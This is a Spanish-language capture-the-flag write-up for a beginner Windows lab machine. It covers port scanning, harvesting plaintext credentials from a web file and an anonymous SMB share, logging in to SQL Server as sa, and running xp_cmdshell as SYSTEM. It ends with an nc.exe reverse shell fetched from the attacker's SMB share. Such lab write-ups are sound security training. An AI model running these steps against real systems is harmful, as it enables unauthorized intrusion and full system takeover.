Estamos ante una máquina Windows de nivel principiante creada por Wxrdcn de la plataforma The Hackers Labs.
Enumeración
Una vez importada la máquina a nuestro VirtualBox hacemos un escaneo de IPs a nuestra red:
$ sudo arp-scan -I eth1 --localnet
[sudo] password for murrusko:
Interface: eth1, type: EN10MB, MAC: 08:00:27:5e:91:9b, IPv4: 10.0.2.5
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
10.0.2.1 52:54:00:12:35:00 QEMU
10.0.2.2 52:54:00:12:35:00 QEMU
10.0.2.3 08:00:27:63:af:94 PCS Systemtechnik GmbH
10.0.2.145 08:00:27:b0:1c:c9 PCS Systemtechnik GmbH
Como vemos la máquina tiene asignada la IP 10.0.2.145
.
Empezamos realizando un escaneo de puertos con nmap
. Hacemos un escaneo silencioso-sS
, a todos los puertos -p-
, que nos de detalles del escaneo -v
, que no haga ping al host -Pn
, que no haga resolución de DNS -n
y que nos guarde a un fichero grepeable -oG
con nombre ports.txt
a nuestra máquina victima 10.0.2.145
:
$ sudo nmap -sS -p- -Pn -n -v 10.0.2.145 -oG ports.txt
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1801/tcp open msmq
2103/tcp open zephyr-clt
2105/tcp open eklogin
2107/tcp open msmq-mgmt
5040/tcp open unknown
5357/tcp open wsdapi
7680/tcp open pando-pub
9047/tcp open unknown
9079/tcp open unknown
9080/tcp open glrpc
9081/tcp open cisco-aqos
9083/tcp open emc-pp-mgmtsvc
9147/tcp open unknown
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
49672/tcp open unknown
49702/tcp open unknown
49992/tcp open unknown
Como tiene un montón de puertos abiertos obtenemos la lista con el siguiente comando:
$ cat ports.txt | grep -oP '\d{1,5}/open' | awk '{print $1}' FS='/' | xargs | tr ' ' ','
135,139,445,1801,2103,2105,2107,5040,5357,7680,9047,9079,9080,9081,9083,9147,49664,49665,49666,49667,49669,49670,49672,49702,49992
Ahora hacemos otro escaneo con nmap
, pero esta vez para ver con mas detalle que hay en esos puertos:
$ sudo nmap -sCV -p135,139,445,1801,2103,2105,2107,5040,5357,7680,9047,9079,9080,9081,9083,9147,49664,49665,49666,49667,49669,49670,49672,49702,49992 -v 10.0.2.145
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
1801/tcp open msmq?
2103/tcp open msrpc Microsoft Windows RPC
2105/tcp open msrpc Microsoft Windows RPC
2107/tcp open msrpc Microsoft Windows RPC
5040/tcp open unknown
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Service Unavailable
|_http-server-header: Microsoft-HTTPAPI/2.0
7680/tcp open pando-pub?
9047/tcp open unknown
9079/tcp open unknown
9080/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9081/tcp open http Microsoft Cassini httpd 4.0.1.6 (ASP.NET 4.0.30319)
|_http-server-header: Cassini/4.0.1.6
| http-title: Login Saci
|_Requested resource was /App/Login.aspx
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
9083/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9147/tcp open unknown
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
49672/tcp open msrpc Microsoft Windows RPC
49702/tcp open msrpc Microsoft Windows RPC
49992/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-30T06:56:01
| Not valid after: 2054-06-30T06:56:01
| MD5: a060:b5e7:eaf0:3da6:de75:cbed:7d75:2686
|_SHA-1: 3208:f8bb:d393:2af9:05df:76b3:afa8:a688:f62f:30cb
|_ssl-date: 2024-06-30T17:30:37+00:00; +26s from scanner time.
| ms-sql-info:
| 10.0.2.145\COMPAC:
| Instance name: COMPAC
| Version:
| name: Microsoft SQL Server 2017 RTM
| number: 14.00.1000.00
| Product: Microsoft SQL Server 2017
| Service pack level: RTM
| Post-SP patches applied: false
| TCP port: 49992
|_ Clustered: false
| ms-sql-ntlm-info:
| 10.0.2.145\COMPAC:
| Target_Name: DESKTOP-M464J3M
| NetBIOS_Domain_Name: DESKTOP-M464J3M
| NetBIOS_Computer_Name: DESKTOP-M464J3M
| DNS_Domain_Name: DESKTOP-M464J3M
| DNS_Computer_Name: DESKTOP-M464J3M
|_ Product_Version: 10.0.19041
MAC Address: 08:00:27:B0:1C:C9 (Oracle VirtualBox virtual NIC)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| nbstat: NetBIOS name: DESKTOP-M464J3M, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:b0:1c:c9 (Oracle VirtualBox virtual NIC)
| Names:
| DESKTOP-M464J3M<00> Flags: <unique><active>
| WORKGROUP<00> Flags: <group><active>
| DESKTOP-M464J3M<20> Flags: <unique><active>
| WORKGROUP<1e> Flags: <group><active>
| WORKGROUP<1d> Flags: <unique><active>
|_ \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2024-06-30T17:29:55
|_ start_date: N/A
|_clock-skew: mean: 26s, deviation: 0s, median: 25s
Encontramos una web en el puerto 9081
, vemos que tecnología usa con whatweb
:
$ whatweb -a 3 http://10.0.2.145:9081
http://10.0.2.145:9081 [302 Found] ASP_NET[4.0.30319], Country[RESERVED][ZZ], HTTPServer[Cassini/4.0.1.6], IP[10.0.2.145], RedirectLocation[/App/Login.aspx], Title[Object moved]
http://10.0.2.145:9081/App/Login.aspx [200 OK] ASP_NET[4.0.30319], Bootstrap, Cookies[ASP.NET_SessionId], Country[RESERVED][ZZ], HTML5, HTTPServer[Cassini/4.0.1.6], HttpOnly[ASP.NET_SessionId], IP[10.0.2.145], JQuery[3.7.0], PasswordField[txtPassword], Script[text/javascript], Title[Login Saci]
Realizamos una búsqueda de ficheros y directorios con feroxbuster
:
$ feroxbuster -u http://10.0.2.145:9081 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x aspx -r -d 2
...
200 GET 2l 2w 22c http://10.0.2.145:9081/download/notas.txt
...
Encontramos un fichero llamado notas.txt
, lo descargamos y leemos lo que tiene:
curl http://10.0.2.145:9081/download/notas.txt
supervisor
supervisor
Parece que son las credenciales para acceder a la web. Nos logeamos con éxito pero no conseguimos hacer nada para ganar la intrusión. Asi que miramos a ver que hay en el servicio samba
. Ejecutamos smbclient
con los parámetros —-no-pass
para no usar credenciales, -L
para hacer un listado de unidades y el target //10.0.2.145
:
$ smbclient --no-pass -L //10.0.2.145
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Admin remota
C$ Disk Recurso predeterminado
Compac Disk
IPC$ IPC IPC remota
Users Disk
Vemos 2 recursos compartidos interesantes Compac
y Users
. Nos conectamos al recurso Compac
y listamos los directorios:
smbclient --no-pass //10.0.2.145/Compac
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sat May 11 04:49:15 2024
.. D 0 Sat May 11 04:49:15 2024
Empresas D 0 Sat May 11 04:49:15 2024
Index D 0 Sun Jun 30 23:52:48 2024
Haciendo un listado de Empresas
vemos un fichero que llama la atención SQL.txt
, lo descargamos a nuestra máquina:
smb: \Empresas\> get SQL.txt
getting file \Empresas\SQL.txt of size 448 as SQL.txt (5.3 KiloBytes/sec) (average 5.3 KiloBytes/sec)
Lo abrimos y vemos unas posibles credenciales de acceso al servicio de SQL Server
:
$ cat SQL.txt
SQL 2017
Instancia COMPAC
sa
Contpaqi2023.
Intrusión
Vamos a usar el cliente de sql que trae el paquete impacket
. Usamos impacket-mssqlclient
con los parámetros COMPAC/
, que es el nombre de dominio que hemos visto en el escaneo, seguido de las credenciales sa:Contpaqi2023.
, le indicamos el target @10.0.2.145
y el puerto, ya que no está en el puerto por defecto, -port 49992
:
$ impacket-mssqlclient COMPAC/sa:Contpaqi2023.@10.0.2.145 -port 49992
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DESKTOP-M464J3M\COMPAC): Line 1: Changed database context to 'master'.
[*] INFO(DESKTOP-M464J3M\COMPAC): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL (sa dbo@master)>
En SQL Server hay un comando que sirve para ejecutar comandos por una shell, xp_cmdshell
. Asi que una vez conectados probamos a ver si funciona el comando:
SQL (sa dbo@master)> xp_cmdshell whoami
output
-------------------
nt authority\system
NULL
Vemos que si y encima está ejecutando los comandos como nt authority\system.
Escalada de privilegios
Vamos a preparar la obtención de una shell remota como nt authority\system. Para ello nos copiamos el binario nc.exe
a nuestro directorio de trabajo. También ponemos el servidor samba con impacket-smbserver
:
$ cp /usr/share/windows-binaries/nc.exe .
$ impacket-smbserver -smb2support murrusko .
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
Nos ponemos a la escucha en nuestra máquina:
$ nc -nlvp 8888
listening on [any] 8888 ...
Y ejecutamos el comando para obtener la shell reversa:
SQL (sa dbo@master)> xp_cmdshell \\10.0.2.5\murrusko\nc.exe 10.0.2.5 8888 -e cmd
Conseguimos la shell y vemos que realmente estamos con nt authority\system:
$ nc -nlvp 8888
listening on [any] 8888 ...
connect to [10.0.2.5] from (UNKNOWN) [10.0.2.145] 49246
Microsoft Windows [Versi?n 10.0.19045.2965]
(c) Microsoft Corporation. Todos los derechos reservados.
C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>
Ahora solo queda obtener las flags, pero antes solo queda un reto, obtener la flag de root… Os lo dejo a vosotros, como pista buscar ADS data streams